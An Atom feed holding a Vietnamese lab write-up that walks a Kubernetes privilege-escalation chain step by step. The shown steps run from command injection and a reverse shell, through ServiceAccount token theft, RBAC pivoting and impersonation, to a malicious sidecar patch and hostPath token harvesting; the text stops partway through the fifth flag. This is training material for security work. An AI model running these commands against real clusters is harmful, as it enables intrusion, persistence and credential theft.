<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://phucquan.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://phucquan.github.io/" rel="alternate" type="text/html" /><updated>2026-05-31T07:01:49+00:00</updated><id>https://phucquan.github.io/feed.xml</id><title type="html">IvanTran</title><subtitle>Security research, CTF writeups, pentest notes, and learning logs</subtitle><author><name>Phuc Quan</name><email>quan610ll@gmail.com</email></author><entry><title type="html">Dựng lab mô phỏng K8s và Demo kĩ thuật leo thang đặc quyền</title><link href="https://phucquan.github.io/security-research/2026/05/30/dung-lab-mo-phong-k8s-va-demo-ki-thuat-leo-thang-dac-quyen/" rel="alternate" type="text/html" title="Dựng lab mô phỏng K8s và Demo kĩ thuật leo thang đặc quyền" /><published>2026-05-30T17:00:00+00:00</published><updated>2026-05-30T17:00:00+00:00</updated><id>https://phucquan.github.io/security-research/2026/05/30/dung-lab-mo-phong-k8s-va-demo-ki-thuat-leo-thang-dac-quyen</id><content type="html" xml:base="https://phucquan.github.io/security-research/2026/05/30/dung-lab-mo-phong-k8s-va-demo-ki-thuat-leo-thang-dac-quyen/"><![CDATA[<p><strong>Tên Lab</strong><br />
KubeOps Breach: From Internal Console to Cluster Takeover</p>

<p><strong>Bối Cảnh</strong><br />
Công ty giả lập VDTCloudOps vận hành một Kubernetes cluster nội bộ cho các workload production, CI/CD và platform automation. Gần đây đội SOC phát hiện một số request bất thường đến dịch vụ KubeOpsConsole, một portal nội bộ dùng cho kiểm tra trạng thái dịch vụ và hỗ trợ vận hành.</p>

<p>KubeOps Console được expose qua NodePort để đội vận hành truy cập nhanh trong môi trường lab. Ứng dụng này chỉ được thiết kế cho kiểm tra kết nối nội bộ, nhưng trong quá trình vận hành, một số tính năng debug legacy vẫn còn tồn tại.</p>

<p>Nhiệm vụ của bạn là đóng vai trò security engineer thực hiện controlled assessment trên lab này: bắt đầu từ một foothold trong workload thấp quyền, đánh giá các sai cấu hình Kubernetes, ghi nhận từng mức impact, và đề xuất detection/hardening tương ứng.</p>

<p><strong>Mục Tiêu Tổng Quát</strong><br />
Chứng minh rằng một lỗi ứng dụng nhỏ trong Kubernetes có thể trở thành chuỗi leo thang đặc quyền nhiều bước nếu RBAC, ServiceAccount token, workload permission và runtime isolation được cấu hình sai.</p>

<p><strong>Đề Bài Cho Người Chơi</strong><br />
Bạn được cung cấp địa chỉ của một portal nội bộ:</p>

<p><code class="language-plaintext highlighter-rouge">http://&lt;node-ip&gt;:30679</code></p>

<p>Portal này thuộc namespace production và chạy dưới ServiceAccount thấp quyền. Hãy đánh giá xem một lỗi command execution trong portal có thể dẫn tới mức ảnh hưởng nào trong cluster.</p>

<p>Bạn cần thu thập các flag theo từng giai đoạn để chứng minh impact.</p>

<h3 id="1-initial-access">1. Initial access</h3>

<p>Bước đầu tiên của mọi lab khi có thông tin về Ip của target là Recon. Thì bài lab này mình sẽ Recon bằng Nmap ,  hoặc có thể recon bằng kube-hunter</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260526221240.png" alt="" /></p>

<p>1. <strong>NodePort Discovery</strong><br />
    Sau khi scan, chúng ta khám phá ra một service NodePort ở cổng 30679 trông rất đáng ngờ. Đây chính là mục tiêu để chúng ta đi sâu vào khai thác.</p>

<p><code class="language-plaintext highlighter-rouge">nmap -p 30000-32767 192.168.221.131</code>
<code class="language-plaintext highlighter-rouge">curl http://192.168.221.131:30679/</code></p>

<p>2. <strong>Kube API Server Recon</strong><br />
    Ta nhận thấy rằng có port 6443 là API của K8s nên curl thử thì bị chặn</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -k https://192.168.221.131:6443/version 
curl -k https://192.168.221.131:6443/api
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260528204440.png" alt="" /></p>

<p>3. <strong>Kubelet API 10250</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -k https://192.168.221.131:10250/pods 
curl -k https://192.168.221.131:10250/metrics
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260528204525.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">Unauthorized</code>  chứng tỏ rằng kubelet có auth đầy đủ chứ ko phải anonymous.</p>

<p>4. <strong>etcd 2379/2380</strong></p>

<p><code class="language-plaintext highlighter-rouge">curl -k https://192.168.221.131:2379/version curl -k https://192.168.221.131:2380/version</code></p>

<p><code class="language-plaintext highlighter-rouge">etcd exposed on host network, but protected by TLS/client cert. Still should be firewall-restricted.</code></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260528204617.png" alt="" /></p>

<p>5. <strong>kube-proxy 10256</strong><br />
    Chỉ healthz:</p>

<p><code class="language-plaintext highlighter-rouge">curl http://192.168.221.131:10256/healthz</code></p>

<p>Nmap ra các port được mở như này . Sau khi tham khảo các Port của K8s , bạn có thể search trên gg mà tìm ra 2379 là port etcd , 6443 là port của API K8s khi dựng bằng kubeadm ,đồng thời 10250 là của Kubelet . Còn chỉ có 30679 theo như tui tham khảo thì nó là NodePort Service.</p>

<p>Và sau khi truy cập vào Ip cùng với cổng nghi ngờ thì màn hình hiện ra là 1 màn hình dịch vụ Kubeops. Có vẻ dịch vụ này là 1 platform cho các Devops dùng
cho K8s</p>
<ol>
  <li>Xem tổng quan cluster/workload.</li>
  <li>Theo dõi workload trong các namespace như prod, dev, kube-system.</li>
  <li>Theo dõi incident vận hành.</li>
  <li>Kiểm tra trạng thái API/health của portal.</li>
  <li>Chạy diagnostics để kiểm tra kết nối nội bộ từ trong cluster.</li>
</ol>

<p><img src="/assets/images/posts/Pasted%20image%2020260530101725.png" alt="" /></p>

<p>Ở trong phần Operations mình thấy có 1 phần input , sau đó thử test OS command injection 
x; ls thì màn hình liệt kê các file đang có trong 1 container.</p>

<p>Do đó mình sẽ reverse shell vào chỗ này , bằng lệnh như hình ở dưới</p>

<p>Dựng 1 máy lắng nghe thì đã dành được reverse shell</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260525215324.png" alt="" /></p>

<p>Nâng cấp shell</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl + Z


stty raw -echo;fg

reset 

xterm-256color

</code></pre></div></div>

<h3 id="2-discovery">2. Discovery</h3>

<p>Mình đã có foodhold đầu tiên trong một Pod production nên biết tiếp theo sẽ là khám phá xem ở trong này có gì hay</p>

<p>Kiểm tra bằng các lệnh cơ bản như env , whoami , thì biết rằng mình đang có quyền root trong 1 pod được quản lí bởi Kubernetes</p>

<p>Để ý răng Có Pod_Namespace là Prod</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260526222251.png" alt="" /></p>

<p>Có API service nội bộ nên có thể curl thử để xem quyền</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260526222544.png" alt="" /></p>

<p>Không token → system:anonymous → forbidden</p>

<p><strong>Mặc định pod thường đọc được ServiceAccount token của chính nó</strong> nếu automountServiceAccountToken được bật nên mình thử liệt kê nó thì thấy cả ca.crt , namespace, và token , đồng thời mình cũng kiểm tra bằng các lệnh như ls /host để chứng mình rằng mình chưa có quyền host. Nhiệm vụ của mình bây giờ là phải thoát khỏi Pod này và chiếm được được toàn bộ cluster</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260526222708.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>export APISERVER=https://${KUBERNETES_SERVICE_HOST}
export SERVICEACCOUNT=/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260526222958.png" alt="" /></p>

<p>Sau khi có đầy đủ identity thì mình sẽ gọi thử API server để kiểm tra xem mình có quyền xem pods hay namespace hay ko thì đa số gần như 403</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260525220928.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260525221019.png" alt="" /></p>

<p>Dựng server ở local <code class="language-plaintext highlighter-rouge">python3 -m http.server 8000</code> để có thể dùng kubectl tương tác với API</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260526225322.png" alt="" /></p>

<h3 id="flag-1---rbac-lateral-movement">Flag 1 - RBAC lateral movement</h3>

<p>Điều đầu tiên khi có token là kiểm tra t có những quyền bằng auth can-i –list thì thấy rằng SA của kubeops-sa này dường như bị thắt quyền khá là chặt , ko thể xem namespace hay pods gì cả.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl --server $APISERVER \
  --certificate-authority $CACERT \
  --token $TOKEN \
  auth can-i --list
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260526224056.png" alt="" /></p>

<p>Tạo alias</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alias k='/tmp/kubectl --server=$APISERVER --certificate-authority=$CACERT --token=$TOKEN'
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>k auth whoami

</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260530120009.png" alt="" /></p>

<p>Kết quả cho ta thấy rằng đây là SA token trong namespace là Prod tên là Kubeops-sa</p>

<p>Thì sau khi liệt kê sơ các quyền của SA token này thì hầu như nó bị config khá là chặt và hầu như ko có quyền gì</p>

<p>Nhưng nhờ Dashboard của Kubeops có liệt kê các namespace như prod , dev , kubesystem nên mình đã biết được có 1 namespace là dev, hoặc là nếu ko dashboard ko cho biết namespace thì t cũng có thể bruforce để đoán được vì namespace dev này khá là nhiều.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530120122.png" alt="" /></p>

<p>Nên thử dùng SA token đó và thử test xem mình có quyền gì trong namepspace dev đó thì kết quả cho thấy rằng mình có quyền debug bằng cách có thể tạo và exec vào các pods cũng như có thể xem các pods.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530120313.png" alt="" /></p>

<p>Nghĩa là prod:kubeops-sa <strong>không có quyền xem toàn cluster</strong>, nhưng lại có quyền debug workload trong namespace dev bằng quyền exec pods ở resource là Ci-runner. Giờ pivot sang dev bằng cách dùng token của kubeops hiện có và lấy token của dev ci runner (Bạn có thể xem bằng cách get pods -n dev)</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530120513.png" alt="" /></p>

<p>nhưng nó có 1 cái rbac khá kĩ là hiện tại SA token này nó chỉ get được chừng này pods nhưng SA token này chỉ exec được duy nhất 1 pod là ci-runner thôi còn build-agent thì vẫn ko exec được</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl exec -it -n dev ci-runner \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$TOKEN \
  -- /bin/bash
</code></pre></div></div>

<p>Sau khi exec vào ci-runner trong namespace dev thì mình tìm được flag đàu tiên</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260526225204.png" alt="" /></p>

<h3 id="flag-2---targeted-secret-theft">Flag 2 - Targeted Secret Theft</h3>

<p>Sau khi mình exec vào  pods ci-runner để lấy token thì mình sẽ xuất token đó ra và dùng otken để để kiểm tra tiếp các quyền hiện tại</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260526225446.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
/tmp/kubectl exec -n dev ci-runner \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$TOKEN \
  -- cat /run/secrets/kubernetes.io/serviceaccount/token &gt; /tmp/ci-token

export CI_TOKEN=$(cat /tmp/ci-token)
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl auth can-i --list -n dev \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$CI_TOKEN


</code></pre></div></div>

<p>Khi tiếp tục dùng CI-token để liệt kê các quyền thì tôi thấy ở token này tôi có thể đọc được các secrets là ci-deploy-cache và deployer-token</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260527160611.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ci-runner-sa chỉ có quyền get đúng 2 secret trong dev:
- ci-deploy-cache
- deployer-token
</code></pre></div></div>

<p>Tạo alias cho lệnh</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alias kci='/tmp/kubectl --server=$APISERVER --certificate-authority=$CACERT --token=$CI_TOKEN'
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260530121313.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530121746.png" alt="" /></p>

<p>Sau khi lấy token của ci-runner-sa, mình không biết token này mạnh hay yếu.
Tôi dùng kubectl auth can-i –list để hỏi API Server quyền hiện tại.
Kết quả cho thấy ServiceAccount không được list secrets, không có quyền cluster-wide,
nhưng được get hai secret cụ thể: ci-deploy-cache và deployer-token.
Vì RBAC đã chỉ rõ resourceNames, attacker có cơ sở đọc hai secret này.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530121626.png" alt="" /></p>

<p>Flag 2
<img src="/assets/images/posts/Pasted%20image%2020260527161614.png" alt="" /></p>

<h3 id="flag-3---khai-thác-quyền-impersonation">Flag 3 - Khai thác quyền Impersonation</h3>

<p>Tới đây thì có 1 gợi ý cho 1 cái secret kia là “Legacy CI cache. Old deployment jobs hand off to the platform operator webhook during break-glass maintenance”</p>

<p><strong>Hệ thống đang chuyển giao dữ liệu từ bộ nhớ đệm CI cũ và các tiến trình triển khai cũ sang cho webhook của người vận hành quản lý (platform operator), nhằm phục vụ cho việc bảo trì khẩn cấp.</strong></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530122001.png" alt="" /></p>

<p>Tiếp tục t đọc thử secrets còn lại thì thấy có token của Service Account là deployer-token</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260527162239.png" alt="" /></p>

<p>Extract token sạch</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl get secret deployer-token -n dev \
  -o jsonpath='{.data.token}' \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$CI_TOKEN | base64 -d &gt; /tmp/deployer-token
  
  export DEPLOYER_TOKEN=$(cat /tmp/deployer-token)
</code></pre></div></div>

<p>Thì secret này được mã hóa base 64 2 lần nên mình giải mã rồi ném vào JWT.io để có thể xem thông tin chi tiết của Token</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260527162636.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260527162710.png" alt="" /></p>

<p>Thì sau khi decode ra thì tui thấy đây là 1 service account tên là deployer-sa  ,token này ở trong namepsace dev</p>

<p>Đầu tiên thì vẫn tiếp tục check identity và tạo alias</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl auth whoami \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alias kd='/tmp/kubectl --server=$APISERVER --certificate-authority=$CACERT --token=$DEPLOYER_TOKEN'
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260530123915.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530123950.png" alt="" /></p>

<p>Không có quyền gì hay để khai thác tiếp cả , mình nghĩ là phải tìm namespace khác để test</p>

<p>Ngoài ra còn có thêm 1 namespace là platform system ở trang dash-board lúc đầu nữa , tui thử dùng token đó để liệt kê các quyền trong platform này thì thấy ko có gì cả</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260527164408.png" alt="" /></p>

<p>Chỗ này khá là bí bởi vì test platform-system cũng ko có gì , ko biết test namespace nào khác kiểu sao</p>

<p>Nên tui quyết định thực hiện kĩ thuật internal network scanning ,tui có thử dnscan để quét ip service nhưng quét thử thì khá là lâu bởi vì dãy ip khá là dài, bạn có check tool tại link này</p>

<p>https://gist.github.com/nirohfeld/c596898673ead369cb8992d97a1c764e</p>

<p>nhưng chợt nhớ ra là trong secret kia có 1 cái service trong platform</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260527171950.png" alt="" /></p>

<p>Không biết namespace trước thì dùng gợi ý ở trên + DNS recon bằng cách lợi dụng cơ chế phân giải tên miền của coreDNS</p>

<p>Xem DNS:</p>

<p><code class="language-plaintext highlighter-rouge">cat /etc/resolv.conf</code></p>

<p>Test service DNS:</p>

<p><code class="language-plaintext highlighter-rouge">getent hosts operator-webhook.platform.svc.cluster.local</code></p>

<p>Nếu resolve được, có lý do probe namespace platform.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530123622.png" alt="" /></p>

<p>Và khi tui thử namespace là platform thì cuối cùng cũng thấy được quyền của mình là impersonate</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530124325.png" alt="" /></p>

<p>Sau khi lấy được deployer-token, attacker kiểm tra quyền theo namespace platform.
Token dev:deployer-sa không phải admin, nhưng có quyền impersonate serviceaccount platform-operator.
Điều này cho phép attacker gửi request lên API Server dưới danh nghĩa platform-operator.</p>

<p><strong>Kiểm tra platform-operator có quyền gì trong platform</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl auth can-i --list -n platform \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator
</code></pre></div></div>

<p>Kết quả trả về là quyền này cho chúng ta xem được 1 secret  bằng impersonate</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530124422.png" alt="" /></p>

<p>Tạo alias mới cho impersonate</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alias kp='/tmp/kubectl --server=$APISERVER --certificate-authority=$CACERT --token=$DEPLOYER_TOKEN --as=system:serviceaccount:platform:platform-operator'
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kp get secret delegate-operator-note -n platform -o yaml 
</code></pre></div></div>

<p>Thử đọc secret thì thấy được flag</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530125223.png" alt="" /></p>

<p>Flag 3 đã có cùng với note  “The dev deployer may impersonate platform-operator during break-glass maintenance “</p>

<p>`Sau impersonation, attacker không chỉ đọc được note.</p>

<h3 id="flag-4---sidecar-injection-để-có-thể-persistence--defense-evansion">Flag 4 - Sidecar Injection để có thể persistence + defense evansion</h3>

<p>Attacker kiểm tra tiếp quyền của platform-operator ở namespace dev.
Nếu có patch deployments, attacker có thể sửa workload đang chạy để inject sidecar độc.`</p>

<p>Enum tiếp bằng quyền impersonate trên namespace là dev</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl auth can-i --list -n dev \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator
</code></pre></div></div>

<p>Thì ở đây cũng tương tử ở trên là ở đây bạn cũng có quyền get list các pods cũng như deployment</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530125509.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl get deploy,pod -n dev \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator

</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260530125555.png" alt="" /></p>

<p>Ở đây mình xem chi tiết file yaml của  deployment api-worker thì thấy rằng</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530125731.png" alt="" /></p>

<p>Thì để ý rằng ở đoạn này</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530130248.png" alt="" /></p>

<p>Hướng của mình là sẽ sử dụng sidecar injection để duy trì persistence để lỡ pods có bị tắt hay xóa thì  vẫn còn reverse shell</p>

<p>Các thông tin đã có :</p>
<ul>
  <li>container array nằm ở /spec/template/spec/containers</li>
  <li>có volume tên shared-state</li>
  <li>mount path là /shared</li>
  <li>nếu thêm sidecar mount cùng volume /shared, nó có thể ghi file để container khác đọc được ( Kĩ thuật sidecar injection )</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl patch deployment api-worker -n dev --type='json' \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator \
  -p='[
    {
      "op":"add",
      "path":"/spec/template/spec/containers/-",
      "value":{
        "name":"metrics-sidecar",
        "image":"python:3.12-slim",
        "imagePullPolicy":"IfNotPresent",
        "command":["/bin/sh","-c"],
        "args":["echo VDT2026{malicious_sidecar_persistence} &gt; /shared/flag4.txt; sleep 360000"],
        "volumeMounts":[
          {
            "name":"shared-state",
            "mountPath":"/shared"
          }
        ]
      }
    }
  ]'
</code></pre></div></div>

<p>Sau đó check rollout:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl rollout status deployment/api-worker -n dev \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260530130652.png" alt="" /></p>

<p>Lấy tên Pod tự động và lưu vào biến <code class="language-plaintext highlighter-rouge">API_POD</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>API_POD=$(/tmp/kubectl get pods -n dev -l app=api-worker \
  -o jsonpath='{.items[0].metadata.name}' \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator)
</code></pre></div></div>

<p>Chui vào Pod để đọc file  flag 4</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl exec -n dev $API_POD -c api-worker \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator \
  -- cat /shared/flag4.txt
  
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260530131013.png" alt="" /></p>

<p>flag4.txt là <strong>mình cố tình cho sidecar ghi vào</strong> để chứng minh sidecar đã chạy thành công. Trong thực tế attacker không ghi “flag”, mà sidecar sẽ làm các việc như:
đọc service account token, beacon về C2 proxy traffic nội bộ, đọc shared volume, hook/log request, duy trì persistence trong workload`</p>

<p>Nếu pod api-worker bị restart, ReplicaSet/Deployment sẽ tạo lại pod mới vẫn có sidecar độc.</p>

<p>Ban đầu attacker chỉ có reverse shell tạm thời trong kubeops-console. Shell này dễ mất nếu container restart hoặc pod bị xóa. Sau khi có quyền patch deployment, attacker chèn một sidecar vào api-worker. Vì sidecar nằm trong PodTemplate của Deployment, Kubernetes sẽ tự tạo lại nó sau mỗi lần pod bị xóa. Đây là kỹ thuật persistence ở tầng workload, kín hơn việc tạo một pod lạ.</p>

<h3 id="flag-5-container-escape-via-hostpath-misconfiguration">Flag 5: Container Escape via HostPath Misconfiguration</h3>

<p>platform-operator đã có quyền exec vào pod dev</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530131208.png" alt="" /></p>

<p>Chỉ còn 1 cái build-agent là chúng ta chưa khai thác thử</p>

<p>Như đã liệt kê hồi nãy thì khác với quyền của ci-runner SA token thì ở quyền này chúng ta có thể exec vào build-agent và đồng thời kiểm tra yaml của build-agent</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl get pod build-agent -n dev -o yaml \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260528175046.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>privileged: true
hostPath: /var/lib/kubelet/pods
hostPath: /run/containerd/containerd.sock
</code></pre></div></div>

<p>đây là pod build runner quá quyền, có đường đọc token pod khác trên node.</p>

<p>Cụ thể rằng</p>
<ol>
  <li>Quyền cấu hình <code class="language-plaintext highlighter-rouge">privileged: true</code> (Đặc quyền tối cao)</li>
</ol>

<ul>
  <li><strong>Nguy cơ</strong>: Kẻ tấn công nếu chui được vào Pod này sẽ có toàn quyền như một user <code class="language-plaintext highlighter-rouge">root</code> chạy trực tiếp trên máy host.</li>
  <li><strong>Hành vi tấn công</strong>: Kẻ xấu có thể nhìn thấy, can thiệp vào toàn bộ phần cứng, phân vùng ổ đĩa vật lý của node, hoặc chạy các lệnh kernel trực tiếp mà không bị container ngăn cản.</li>
</ul>

<ol>
  <li>Gắn socket <code class="language-plaintext highlighter-rouge">containerd.sock</code> (<code class="language-plaintext highlighter-rouge">hostPath</code>) vào Pod</li>
</ol>

<ul>
  <li><strong>Nguy cơ</strong>: Containerd socket là bộ não quản lý toàn bộ container chạy trên node đó.</li>
  <li><strong>Hành vi tấn công</strong>: Khi có quyền truy cập vào file socket này, kẻ tấn công có thể cài đặt công cụ (như <code class="language-plaintext highlighter-rouge">nerdctl</code> hoặc <code class="language-plaintext highlighter-rouge">ctr</code>) bên trong Pod để ra lệnh ngược lại cho host. Từ đó tạo ra một container độc hại mới, gắn thẳng ổ đĩa root (<code class="language-plaintext highlighter-rouge">/</code>) của máy host vào để đọc toàn bộ dữ liệu nhạy cảm của hệ thống.</li>
</ul>

<ol>
  <li>Gắn phân vùng <code class="language-plaintext highlighter-rouge">/var/lib/kubelet/pods</code> với <code class="language-plaintext highlighter-rouge">HostToContainer</code></li>
</ol>

<ul>
  <li><strong>Nguy cơ</strong>: Đường dẫn này chứa dữ liệu, token, bí mật (secrets), và cấu hình của <strong>tất cả các Pod khác</strong> đang chạy chung trên node <code class="language-plaintext highlighter-rouge">k8s-node</code>.</li>
  <li><strong>Hành vi tấn công</strong>: Kẻ tấn công chỉ cần lùng sục trong thư mục <code class="language-plaintext highlighter-rouge">/node-pods</code> này để ăn cắp tài khoản (ServiceAccount Token) của các ứng dụng khác, từ đó leo thang đặc quyền trên toàn bộ cụm Kubernetes.</li>
</ul>

<p>Trong demo này tôi dùng hướng 1 vì ổn định và đủ chứng minh node-level credential theft.</p>

<p>containerd.sock là <strong>hướng escape/impact bổ sung</strong>. Trong thực tế, nếu có tool như ctr/crictl trong container, attacker có thể nói chuyện với container runtime để list container, inspect mount, hoặc chạy workload mới trên host runtime. Nhưng để demo ổn định, mình đang dùng hostPath token theft là chính.</p>

<p><strong>Exec vào build-agent</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl exec -it -n dev build-agent \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator \
  -- /bin/sh
  
</code></pre></div></div>

<p>Trong shell build-agent, kiểm tra nó có phải là pod nguy hiểm không bằng các lệnh sao</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>id
mount | grep -E 'node-pods|containerd'
ls -la /node-pods | head
ls -la /run/containerd/containerd.sock
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260530132226.png" alt="" /></p>

<p><strong>1. Liệt kê toàn bộ token tìm được</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find /node-pods -path "*kube-api-access*/token" -type f 2&gt;/dev/null &gt; /tmp/token-paths.txt

//Decode claims để tìm token có giá trị:

i=0
while read t; do
  i=$((i+1))
  echo "===== TOKEN $i ====="
  echo "path: $t"
  cat "$t" | cut -d. -f2 | base64 -d 2&gt;/dev/null \
    | grep -E '"namespace"|"pod"|"serviceaccount"|"sub"'
done &lt; /tmp/token-paths.txt
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260528225741.png" alt="" /></p>

<p>Lần này  thấy platform-system/node-telemetry-agent.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530132439.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530132526.png" alt="" /></p>

<p>Copy đường dẫn của token đó lại</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cp /node-pods/dbe5772e-9643-4534-bbab-de5f90b77e7e/volumes/kubernetes.io~projected/kube-api-access-hwxcc//token /tmp/node-telemetry-token
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kp exec -n dev build-agent -- cat /tmp/node-telemetry-token &gt; /tmp/node-telemetry-token

export NODE_TELEMETRY_TOKEN=$(cat /tmp/node-telemetry-token)

alias kt='/tmp/kubectl --server=$APISERVER --certificate-authority=$CACERT --token=$NODE_TELEMETRY_TOKEN'
</code></pre></div></div>

